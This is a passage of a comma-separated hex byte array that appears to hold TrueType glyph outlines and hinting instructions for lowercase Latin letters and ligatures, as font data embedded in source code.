0x7,0x0,0x38,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x0,0x1, + 0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,0x4, + 0x7,0x0,0x2,0x1,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x13, + 0x11,0x23,0x11,0x1,0x7,0x8c,0x8c,0x8c,0x5,0x55,0x9d,0x9d,0xfe,0x67,0xfc,0x44, + 0x3,0xbc,0x0,0x0,0x2,0xff,0xf6,0xfe,0x92,0x0,0xfe,0x5,0x55,0x0,0x3,0x0, + 0x12,0x0,0x5e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11, + 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x11,0x10,0xdd,0x3c, + 0xb2,0xf,0x11,0xa,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x4,0x12,0x0,0x2,0x1, + 0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, + 0x40,0xc,0x1,0x1,0x11,0xf,0xb,0xa,0x5,0x5,0x0,0x0,0x3,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0xb1,0x8,0x3,0x3f,0xb1,0xe,0x8,0x10,0xcd,0x31, + 0x30,0x13,0x15,0x23,0x35,0x13,0x11,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x33,0x3f, + 0x1,0x36,0x35,0x11,0xfe,0x8c,0x8c,0xc5,0x1d,0x26,0xc,0x4,0x12,0x3a,0x20,0x5, + 0x55,0x9d,0x9d,0xfe,0x67,0xfb,0xec,0x29,0xed,0x7,0x63,0x2,0x1,0x13,0x1b,0x7b, + 0x4,0x14,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x93,0x5,0x55,0x0,0xc,0x0, + 0x51,0xb1,0xc,0xb,0x2f,0x3c,0xb5,0x0,0xa,0x9,0x1,0x3,0xb,0x10,0x17,0xdd, + 0x3c,0xb7,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0, + 0xc0,0xc0,0x0,0xb7,0x1,0x0,0xc,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x2,0x1, + 0x2f,0x3c,0xb2,0x9,0x8,0x1,0x10,0xdd,0x3c,0xb2,0x5,0x1,0x8,0x11,0x12,0x39, + 0x31,0x30,0x1,0x11,0x33,0x1,0x33,0x9,0x1,0x23,0x1,0x23,0x11,0x23,0x11,0x1, + 0x7,0x40,0x1,0x52,0xb0,0xfe,0x67,0x1,0xe3,0xbd,0xfe,0x6a,0x39,0x8c,0x5,0x55, + 0xfc,0xe7,0x1,0x80,0xfe,0x49,0xfd,0xfb,0x1,0xcf,0xfe,0x31,0x5,0x55,0x0,0x0, + 0x1,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2, + 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x1,0x11,0x23,0x11, + 0x1,0x7,0x8c,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x1,0x0,0x7b,0x0,0x0,0x6, + 0x5,0x3,0xca,0x0,0x1f,0x0,0x7b,0xb1,0x0,0x1f,0x2f,0x3c,0xb1,0x18,0x17,0x2f, + 0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb2,0x16,0x15,0x17,0x10,0xdd,0x3c,0xb3,0x1e,0x1d, + 0x1,0x1f,0x10,0xdd,0x3c,0x3c,0xb2,0xf,0xe,0xc,0x10,0xdd,0x3c,0xb3,0x3,0x2, + 0x1,0x1f,0x11,0x12,0x39,0x39,0xb2,0x19,0x17,0x1,0x11,0x12,0x39,0xb3,0x8,0x7, + 0x15,0x17,0x11,0x12,0x39,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0x13,0xb6,0x1f,0x1e,0x17,0x16,0xe,0xd,0x5,0x17,0x2f,0x3c,0x40,0xd,0x1d, + 0x19,0x18,0x15,0xf,0xc,0x8,0x7,0x3,0x2,0xa,0x1,0xd,0x11,0x12,0x17,0x39, + 0xb3,0xa,0x2,0x5,0x2,0x3f,0x3f,0xb3,0x1b,0x5,0x12,0xa,0x10,0xcd,0x10,0xcd, + 0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x17,0x33,0x36,0x33,0x20,0x19,0x1, + 0x23,0x11,0x34,0x26,0x23,0x22,0x6,0x15,0x11,0x23,0x11,0x27,0x34,0x23,0x20,0x19, + 0x1,0x23,0x7b,0x8c,0x3,0x3,0x51,0xe7,0xf3,0x34,0x4,0x5a,0xef,0x1,0x52,0x8c, + 0x5a,0x7d,0xa6,0x76,0x8c,0x2,0xd3,0xfe,0xe2,0x8c,0x3,0xbc,0x90,0x3,0xa1,0xa1, + 0xa1,0xfe,0xa7,0xfd,0x8f,0x2,0x7e,0x7e,0x5a,0x7d,0xb0,0xfd,0xd7,0x2,0x71,0x2c, + 0xb9,0xfe,0xc9,0xfd,0xe1,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9e,0x3,0xca,0x0, + 0x13,0x0,0x54,0xb1,0x0,0x13,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x12,0x11, + 0x13,0x10,0xdd,0x3c,0xb3,0xc,0xb,0xa,0x8,0x10,0xdd,0x3c,0x3c,0xb5,0x3,0x2, + 0x1,0x3,0x11,0x13,0x11,0x12,0x17,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13, + 0x10,0xcd,0xcd,0x13,0xb4,0x13,0x12,0xa,0x9,0x3,0x17,0x2f,0x3c,0x40,0x9,0x11, + 0xc,0xb,0x8,0x3,0x2,0x6,0x1,0x9,0x11,0x12,0x17,0x39,0xb1,0x5,0x2,0x3f, + 0xb1,0xf,0x5,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x16,0x15, + 0x11,0x23,0x11,0x35,0x34,0x26,0x23,0x20,0x19,0x1,0x23,0x7b,0x87,0x4,0x4,0x40, + 0xfe,0xcd,0x91,0x8c,0x5e,0x86,0xfe,0xd9,0x8c,0x3,0xbc,0x82,0x3,0x93,0x90,0xcc, + 0xfd,0x92,0x2,0x62,0x24,0x7b,0x55,0xfe,0xe9,0xfd,0xc1,0x0,0x2,0x0,0x60,0xff, + 0xf2,0x3,0xad,0x3,0xca,0x0,0xb,0x0,0x17,0x0,0x21,0xb1,0x9,0x3,0x2f,0x2f, + 0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x6,0x0,0x0,0x2,0x3f, + 0x3f,0xb3,0x12,0x6,0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x20,0x16,0x11, + 0x10,0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32, + 0x36,0x35,0x34,0x26,0x2,0x6,0x1,0x9,0x9e,0x9e,0xfe,0xf7,0xfe,0xf8,0x9e,0x9e, + 0x1,0x8,0xba,0x59,0x59,0xba,0xbb,0x59,0x59,0x3,0xca,0xb8,0xfe,0xcc,0xfe,0xcc, + 0xb8,0xb8,0x1,0x34,0x1,0x34,0xb8,0x74,0x79,0xff,0xff,0x79,0x79,0xff,0xff,0x79, + 0x0,0x0,0x2,0x0,0x7b,0xfe,0x66,0x3,0xb3,0x3,0xca,0x0,0x10,0x0,0x1c,0x0, + 0x5a,0xb1,0x0,0x10,0x2f,0x3c,0xb3,0xf,0xe,0x1,0x10,0x10,0xdd,0x3c,0x3c,0xb3, + 0x14,0xd,0x8,0x1,0x10,0xc4,0xc0,0xc4,0xb3,0x3,0x2,0x1,0x10,0x11,0x12,0x39, + 0x39,0xb1,0x1a,0x8,0x10,0xcd,0x0,0xb7,0x1,0x0,0x1,0x0,0x10,0xf,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9,0x1,0xe,0xd,0x3,0x2,0x4, + 0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xb,0x0,0x5,0x2,0x3f,0x3f, + 0xb3,0x17,0xb,0x11,0x5,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36, + 0x33,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x11,0x23,0x1,0x22,0x6,0x15, + 0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x7,0x4,0x49,0xf1,0xd5,0xa0, + 0xa2,0xcf,0xec,0x4c,0x3,0x8c,0x1,0x9c,0xa8,0x66,0x6e,0xa6,0x9e,0x65,0x62,0x3, + 0xbc,0x79,0x3,0x8a,0xd8,0xfe,0xde,0xfe,0xf3,0xd1,0x7f,0xfd,0xf5,0x4,0xf0,0x91, + 0xef,0xdd,0x93,0x8e,0xde,0xf4,0x90,0x0,0x2,0x0,0x60,0xfe,0x66,0x3,0x9a,0x3, + 0xca,0x0,0x10,0x0,0x1c,0x0,0x5a,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2, + 0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x1a,0x9,0x4,0x2,0x10,0xc0,0xc4,0xc4,0xb3,0xf, + 0xe,0x1,0x2,0x11,0x12,0x39,0x39,0xb1,0x14,0x9,0x10,0xcd,0x0,0xb7,0x1,0x0, + 0x10,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9, + 0x1,0xf,0xe,0x4,0x3,0x4,0x10,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3, + 0xc,0x2,0x6,0x0,0x3f,0x3f,0xb3,0x17,0x6,0x11,0xc,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x1,0x11,0x23,0x11,0x27,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x33,0x32,0x17, + 0x37,0x27,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x3,0x9a, + 0x8c,0x3,0x3f,0xfb,0xcf,0xa2,0xa4,0xd5,0xea,0x4f,0x3,0x7,0xfe,0xe1,0x9b,0x61, + 0x64,0xa0,0xa3,0x70,0x67,0x3,0xbc,0xfa,0xaa,0x2,0xe,0x3,0x85,0xd8,0x1,0x15, + 0x1,0x15,0xd6,0x87,0x3,0x76,0x66,0x96,0xef,0xe0,0x8b,0x8f,0xd2,0xfe,0x91,0x0, + 0x1,0x0,0x89,0x0,0x0,0x3,0x24,0x3,0xd2,0x0,0x12,0x0,0x56,0xb1,0x0,0x12, + 0x2f,0x3c,0xb3,0x11,0x10,0x1,0x12,0x10,0xdd,0x3c,0x3c,0xb3,0x9,0x8,0x7,0x1, + 0x10,0xc4,0xc0,0xc0,0xb3,0x3,0x2,0x1,0x12,0x11,0x12,0x39,0x39,0xb1,0xc,0x7, + 0x10,0xcd,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x12, + 0x11,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x10,0x8,0x11,0x11,0x12,0x39,0xb3, + 0x3,0x2,0x1,0x8,0x11,0x12,0x39,0x39,0xb1,0x5,0x2,0x3f,0xb1,0xe,0x5,0x10, + 0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x20,0x11,0x7,0x23,0x37,0x36,0x35, + 0x34,0x23,0x22,0x19,0x1,0x23,0x89,0x8c,0xe,0x3,0x53,0xbf,0x1,0x8,0x1,0x8a, + 0x3,0x3,0xa0,0xea,0x8c,0x3,0xbc,0x6e,0x3,0x87,0xfe,0xf0,0x42,0x18,0x26,0xd, + 0x93,0xfe,0xdf,0xfd,0xc3,0x0,0x1,0x0,0x4f,0xff,0xf2,0x3,0x7c,0x3,0xca,0x0, + 0x26,0x0,0x3b,0xb7,0x26,0x21,0x15,0x14,0x13,0xd,0x1,0x0,0x2e,0x2e,0x2f,0x2f, + 0x2e,0x2e,0x2f,0x2f,0xb5,0x1c,0xd,0x16,0x13,0x7,0x21,0x10,0xcd,0x10,0xcd,0x10, + 0xcd,0x0,0xb1,0x15,0x14,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x24,0x2,0x10, + 0x0,0x3f,0x3f,0xb3,0x19,0x10,0x4,0x24,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23, + 0x34,0x26,0x23,0x22,0x6,0x15,0x14,0x1f,0x2,0x4,0x11,0x14,0x6,0x23,0x22,0x26, + 0x35,0x37,0x33,0x17,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x23,0x20,0x26,0x35,0x34, + 0x36,0x33,0x20,0x15,0x3,0x60,0x8c,0x51,0xa8,0x9c,0x54,0x8d,0x71,0x8f,0x1,0x4, + 0xac,0xe5,0xeb,0xb1,0x1,0x91,0x1,0x60,0x8d,0xad,0x6d,0x89,0xfe,0xc1,0xc9,0x9f, + 0xed,0x1,0x7c,0x2,0xc2,0x64,0x30,0x33,0x61,0x93,0x7,0x6,0x7,0xd,0xfe,0xfd, + 0xa1,0x78,0x72,0x98,0x34,0x2d,0x5e,0x3f,0x42,0x69,0x97,0x6c,0xaa,0xa1,0x6b,0xe5, + 0x0,0x0,0x1,0xff,0xf6,0xff,0xf2,0x2,0x9b,0x4,0xa2,0x0,0x17,0x0,0x75,0xb1, + 0x13,0x12,0x2f,0x3c,0xb5,0x15,0x14,0x11,0x10,0xf,0x4,0x17,0x2f,0x3c,0xb1,0x0, + 0x1,0x2f,0x3c,0xb5,0x17,0x16,0x3,0x2,0x3,0xf,0x10,0x17,0xdd,0x3c,0xb2,0xb, + 0xa,0x1,0x10,0xc0,0xc4,0xb3,0x9,0x7,0x1,0x2,0x11,0x12,0x39,0x39,0xb1,0x8, + 0xb,0x10,0xcd,0x0,0x40,0xc,0x1,0x12,0x11,0x2,0x1,0x2,0x0,0x17,0x14,0x13, + 0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0xa, + 0x9,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0x40,0x9,0x1,0x10,0xf,0x7,0x3,0x4, + 0x9,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb1,0xd,0x0,0x3f,0xb1,0x5,0xd, + 0x10,0xcd,0x31,0x30,0x1,0x15,0x21,0x11,0x14,0x33,0x32,0x35,0x3f,0x1,0x33,0x17, + 0x10,0x21,0x20,0x3d,0x1,0x11,0x23,0x35,0x33,0x35,0x33,0x15,0x2,0x76,0xfe,0x90, + 0x88,0x87,0x1,0x2,0x82,0x1,0xfe,0xf4,0xfe,0xeb,0x84,0x84,0x8c,0x3,0xbc,0x74, + 0xfd,0xb7,0x99,0x89,0x2f,0x35,0x47,0xfe,0xe6,0xeb,0x22,0x2,0x49,0x74,0xe6,0xe6, + 0x0,0x0,0x1,0x0,0x7b,0xff,0xf2,0x3,0x87,0x3,0xbc,0x0,0x12,0x0,0x50,0xb1, + 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0xb,0xa,0x8,0x10,0xdd,0x3c, + 0xb3,0x12,0x11,0x2,0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x4,0x3,0x1,0x2,0x11,0x12, + 0x39,0x39,0x0,0xb6,0x1,0x0,0x12,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, + 0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb7,0x11,0xb,0x8,0x4,0x3,0x5,0x9,0x1, + 0x11,0x12,0x17,0x39,0xb1,0x6,0x0,0x3f,0xb1,0xe,0x6,0x10,0xcd,0x31,0x30,0x1, + 0x11,0x23,0x37,0x27,0x6,0x23,0x20,0x19,0x1,0x33,0x11,0x14,0x16,0x33,0x32,0x36, + 0x35,0x11,0x3,0x87,0x8c,0xa,0x3,0x49,0xef,0xfe,0xb1,0x8c,0x56,0x7e,0xa5,0x7b, + 0x3,0xbc,0xfc,0x44,0x7d,0x3,0x8e,0x1,0x4e,0x2,0x7c,0xfd,0x84,0x82,0x58,0x83, + 0xaf,0x2,0x24,0x0,0x1,0xff,0xf9,0x0,0x0,0x3,0x3f,0x3,0xbc,0x0,0xd,0x0, + 0x46,0x40,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1, + 0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0, + 0xb6,0x1,0x0,0xd,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1, + 0x2,0x1,0x2f,0x3c,0x40,0xb,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x8,0x3, + 0x1,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x1,0x23,0x1,0x33,0x13,0x1f,0x2,0x33, + 0x3f,0x2,0x13,0x3,0x3f,0xfe,0xc0,0xc9,0xfe,0xc3,0x90,0xa9,0x35,0x19,0x1a,0x4, + 0x18,0x18,0x33,0xa2,0x3,0xbc,0xfc,0x44,0x3,0xbc,0xfd,0xf8,0xa3,0x52,0x52,0x51, + 0x52,0xa2,0x2,0xa,0x0,0x0,0x1,0x0,0x7,0x0,0x0,0x5,0x57,0x3,0xbc,0x0, + 0x21,0x0,0x87,0x40,0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17, + 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7, + 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x0,0x21,0x18, + 0x17,0xe,0xd,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0xc, + 0xb,0x2,0x1,0x3,0x17,0x2f,0x3c,0x40,0x1b,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a, + 0x19,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xa,0x9,0x8,0x7,0x6,0x5,0x4, + 0x3,0x18,0xd,0x1,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x1,0x23,0x3,0x2f,0x2, + 0x23,0xf,0x2,0x3,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,0x3f,0x2,0x13,0x33,0x13, + 0x1f,0x2,0x33,0x3f,0x2,0x13,0x5,0x57,0xfe,0xf4,0xd0,0x80,0x27,0x12,0x13,0x3, + 0x13,0x13,0x27,0x81,0xd4,0xfe,0xfd,0x93,0x87,0x2a,0x14,0x14,0x4,0x13,0x14,0x28, + 0x83,0xcc,0x82,0x28,0x13,0x13,0x3,0x15,0x14,0x2a,0x86,0x3,0xbc,0xfc,0x44,0x2, + 0x13,0xa2,0x51,0x51,0x51,0x51,0xa2,0xfd,0xed,0x3,0xbc,0xfd,0xef,0xa6,0x53,0x53, + 0x53,0x53,0xa5,0x2,0x12,0xfd,0xed,0xa5,0x52,0x53,0x53,0x53,0xa6,0x2,0x11,0x0, + 0x1,0xff,0xf9,0x0,0x0,0x3,0x42,0x3,0xbc,0x0,0xb,0x0,0x41,0x40,0xc,0xb, + 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x0,0xb,0x9,0x8,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x6,0x5,0x3,0x2,0x3,0x17,0x2f,0x3c, + 0xb6,0xa,0x7,0x4,0x1,0x4,0x8,0x2,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x2, + 0x23,0xb,0x1,0x23,0x9,0x1,0x33,0x1b,0x1,0x3,0x1d,0xfe,0xca,0x1,0x5b,0xa7, + 0xfd,0xfe,0xa7,0x1,0x5b,0xfe,0xc9,0xa8,0xd9,0xd8,0x3,0xbc,0xfe,0x3e,0xfe,0x6, + 0x1,0x82,0xfe,0x7e,0x1,0xf4,0x1,0xc8,0xfe,0xa3,0x1,0x5d,0x0,0x0,0x1,0xff, + 0xf9,0xfe,0x53,0x3,0x22,0x3,0xbc,0x0,0x1a,0x0,0x58,0xb1,0x7,0x6,0x2f,0x3c, + 0xb1,0x10,0x6,0x10,0xc0,0xb7,0x1a,0x16,0x15,0x11,0xf,0xe,0x0,0x6,0x10,0xc0, + 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x0,0xb6,0x1,0x0,0x1a,0x11,0x10,0x0,0x0,0x13, + 0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0xf,0xe,0x2f,0x3c,0xb3,0x1,0x6,0x3,0x0, + 0x13,0x10,0xc0,0x13,0xb4,0x1,0x7,0xe,0x3,0x0,0x13,0x11,0x12,0x39,0x13,0xb3, + 0x16,0x15,0x10,0xe,0x11,0x12,0x39,0x39,0xb1,0x4,0x3,0x3f,0xb1,0x9,0x4,0x10, + 0xcd,0x31,0x30,0x9,0x1,0xe,0x1,0x23,0x22,0x27,0x35,0x16,0x17,0x16,0x3f,0x1, + 0x36,0x37,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,0x3f,0x2,0x13,0x3,0x22,0xfe,0xf1, + 0x39,0x8b,0x81,0x1a,0x29,0x1d,0x14,0x71,0x37,0x1b,0x1,0x8,0x35,0xfe,0xa6,0x95, + 0x93,0x4a,0x24,0x25,0x4,0x1a,0x19,0x36,0x6c,0x3,0xbc,0xfc,0xd,0xd6,0xa0,0x7, + 0x74,0x6,0x1,0x6,0xbd,0x5e,0x5,0x1f,0x3,0xbc,0xfe,0x56,0xd4,0x6b,0x6a,0x6a, + 0x6b,0xd4,0x1,0xaa,0x0,0x0,0x1,0x0,0x2c,0x0,0x0,0x3,0xd,0x3,0xbc,0x0, + 0x9,0x0,0x45,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x9,0x2f,0x3c,0xb4,0x5,0x4, + 0x2,0x1,0x3,0x17,0x2f,0x3c,0xb3,0x8,0x3,0x1,0x9,0x11,0x12,0x39,0x39,0x0, + 0x40,0xb,0x1,0x9,0x8,0x2,0x0,0x1,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0xb3,0x7,0x2, + 0x8,0x3,0x11,0x12,0x39,0x39,0x31,0x30,0x13,0x21,0x15,0x1,0x21,0x15,0x21,0x35, + 0x1,0x21,0x5c,0x2,0xb1,0xfd,0xc6,0x2,0x3a,0xfd,0x1f,0x2,0x3c,0xfd,0xf4,0x3, + 0xbc,0x88,0xfd,0x40,0x74,0x85,0x2,0xc3,0x0,0x0,0x3,0x0,0x59,0xff,0xf2,0x6, + 0x3f,0x3,0xca,0x0,0x2d,0x0,0x36,0x0,0x40,0x0,0xa3,0xb1,0x1b,0x1a,0x2f,0x3c, + 0xb5,0x22,0x21,0x20,0x19,0x14,0x1a,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0x40,0xf,0x3e, + 0x36,0x35,0x2e,0x28,0x27,0x10,0xf,0xb,0xa,0x9,0x2,0x1,0x0,0x1a,0x10,0xc0, + 0xc0,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc4,0xb1,0x39,0x14, + 0x10,0xcd,0x0,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x2e,0x36,0x2f,0x3c,0xb1,0x22,0x21, + 0x2f,0x3c,0xb2,0x0,0x1,0x36,0x10,0xdd,0x3c,0xb5,0x1,0x10,0xf,0x9,0x0,0x0, + 0x13,0x11,0x12,0x39,0x39,0x13,0xb6,0x17,0x1a,0x19,0x17,0x3,0x36,0x1,0x11,0x12, + 0x17,0x39,0x2f,0xb3,0x35,0x1b,0x21,0x36,0x11,0x12,0x39,0x39,0xb5,0x1,0x28,0x27, + 0x2,0x0,0x21,0x11,0x14,0x12,0x39,0x39,0x14,0xb7,0x2a,0x2,0x25,0x2,0x12,0x0, + 0xd,0x0,0x3f,0x3f,0x3f,0x3f,0x40,0xa,0x3c,0x12,0x37,0x17,0x32,0x2a,0x1e,0x25, + 0x5,0xd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x21, + 0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x37,0x33,0x15,0x10,0x21,0x20,0x27,0x23,0x6, + 0x21,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x33,0x35,0x34,0x26,0x23,0x22,0x1d,0x1, + 0x23,0x3e,0x1,0x33,0x20,0x17,0x33,0x36,0x21,0x32,0x16,0x11,0x2f,0x1,0x34,0x26, + 0x23,0x22,0x6,0x15,0x7,0x5,0x22,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x6, + 0x3f,0xfd,0x57,0x62,0xc0,0x98,0x60,0x1,0x8e,0xfe,0x68,0xfe,0xdd,0x3d,0x3,0x3e, + 0xfe,0xe3,0xfe,0x70,0xa9,0xdb,0xe9,0x3f,0x3,0x65,0x9e,0xf5,0x94,0xd,0x89,0xd0, + 0x1,0x3e,0x33,0x3,0x45,0x1,0x8,0xf9,0xa2,0x8d,0x1,0x6b,0x9a,0xa2,0x73,0x1, + 0xfe,0x45,0xee,0x6e,0x9d,0x1,0x12,0x7d,0x1,0xcf,0x28,0xd4,0x6d,0x3f,0x63,0x19, + 0x28,0xfe,0xf9,0xa1,0xa1,0x1,0x25,0xa4,0x7f,0x61,0xa2,0x8a,0x58,0x8e,0x15,0xa8, + 0x68,0x7b,0x7b,0xad,0xfe,0xf7,0x2f,0x30,0x86,0x5d,0x64,0x8d,0x22,0x7d,0xa8,0x6c, + 0x4c,0xb4,0x65,0x47,0x0,0x0,0x3,0x0,0x5f,0xff,0xf2,0x6,0x51,0x3,0xca,0x0, + 0x1f,0x0,0x26,0x0,0x32,0x0,0x6f,0x40,0xe,0x30,0x26,0x20,0x1f,0x1a,0x19,0x14, + 0xf,0xe,0x9,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2e,0x2f,0x2e, + 0x2e,0x2f,0x2e,0x2e,0x2f,0xb1,0x2a,0x14,0x10,0xcd,0x0,0xb1,0x9,0x8,0x2f,0x3c, + 0xb1,0x20,0x26,0x2f,0x3c,0xb2,0x0,0x1,0x26,0x10,0xdd,0x3c,0xb5,0x1,0xf,0xe, + 0x8,0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb5,0x1,0x1a,0x19,0x2,0x0,0x26, + 0x11,0x14,0x12,0x39,0x39,0x14,0xb7,0x1c,0x2,0x17,0x2,0x11,0x0,0xc,0x0,0x3f, + 0x3f,0x3f,0x3f,0xb7,0x2d,0x11,0x27,0x17,0x23,0x1c,0x5,0xc,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x21,0x7,0x14,0x16,0x33,0x32,0x36,0x35,0x33, + 0x14,0x6,0x21,0x22,0x27,0x23,0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x33,0x20,0x17, + 0x33,0x36,0x21,0x32,0x16,0x11,0x27,0x34,0x26,0x23,0x22,0x6,0x15,0x1,0x22,0x6, + 0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x6,0x51,0xfd,0x5c,0x1,0x66,0xae, + 0xa2,0x60,0x8f,0xa9,0xfe,0xf0,0xf3,0x44,0x3,0x3a,0xfe,0xdc,0xfe,0xfb,0x9c,0x9d, + 0xf2,0x1,0x46,0x2a,0x3,0x3d,0x1,0x17,0xf7,0xa5,0x8f,0x61,0x9b,0xb0,0x6d,0xfe, + 0x5d,0xbb,0x59,0x59,0xbb,0xbb,0x59,0x59,0x1,0xcf,0x36,0xc1,0x72,0x46,0x75,0xbb, + 0x74,0x87,0x87,0xbd,0x1,0x3e,0x1,0x21,0xbc,0x8b,0x8b,0xad,0xfe,0xfe,0x28,0xa9, + 